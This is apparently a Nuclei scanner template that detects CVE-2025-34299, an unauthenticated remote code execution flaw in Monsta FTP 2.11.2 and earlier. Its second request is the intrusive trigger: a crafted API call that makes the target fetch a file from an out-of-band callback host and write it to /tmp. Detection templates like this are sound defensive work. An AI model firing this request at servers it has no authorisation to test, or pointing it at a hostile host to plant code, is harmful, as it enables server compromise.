Monsta FTP <= 2.11.2 - Unauthenticated Remote Code Execution

id: CVE-2025-34299

info:
  name: Monsta FTP <= 2.11.2 - Unauthenticated Remote Code Execution
  author: KrE80r
  severity: critical
  description: |
    Monsta FTP = 2.11 contains an unrestricted file upload vulnerability caused by lack of authentication on file uploads, letting unauthenticated attackers execute arbitrary code by uploading crafted files.
  impact: |
    Unauthenticated attackers can upload malicious files to execute arbitrary code, potentially compromising the server.
  remediation: |
    Update to the latest version beyond 2.11.
  reference:
    - https://labs.watchtowr.com/whats-that-coming-over-the-hill-monsta-ftp-remote-code-execution-cve-2025-34299/
    - https://github.com/advisories/GHSA-42m5-3r2p-wr92
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34299
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-34299
    epss-score: 0.72667
    epss-percentile: 0.99376
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 2
    vendor: monstaftp
    product: monsta_ftp
    shodan-query: http.title:"Monsta FTP"
    fofa-query: title="Monsta FTP"
  tags: cve,cve2025,monsta,ftp,rce,unauth,file-upload,intrusive,oast,oob,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/mftp/"
      - "{{BaseURL}}/"

    stop-at-first-match: true

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "MonstaFTP")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - 'monsta-min-([0-9.]+)\.js'
        internal: true

  - raw:
      - |
        POST {{BaseURL}}/mftp/application/api/api.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        request={"connectionType":"ftp","configuration":{"host":"{{interactsh-url}}","username":"nuclei-oast","initialDirectory":"/","password":"test","port":21},"actionName":"downloadFile","context":{"remotePath":"/test.txt","localPath":"/tmp/nuclei-oast-test.txt"}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: dsl
        dsl:
          - 'compare_versions(version, "<= 2.11.2")'

    extractors:
      - type: kval
        kval:
          - version
# digest: 4a0a00473045022100da2620b984bce6ec863f05578ce53e8f9123f8d571d646cc38a0c629a42ed58902207ddae0f0ca840c511457c99ad00ab8f9006f18dae72a6fd8be7e3b41b3ed19d4:922c64590222798bb761d5b6d8e72950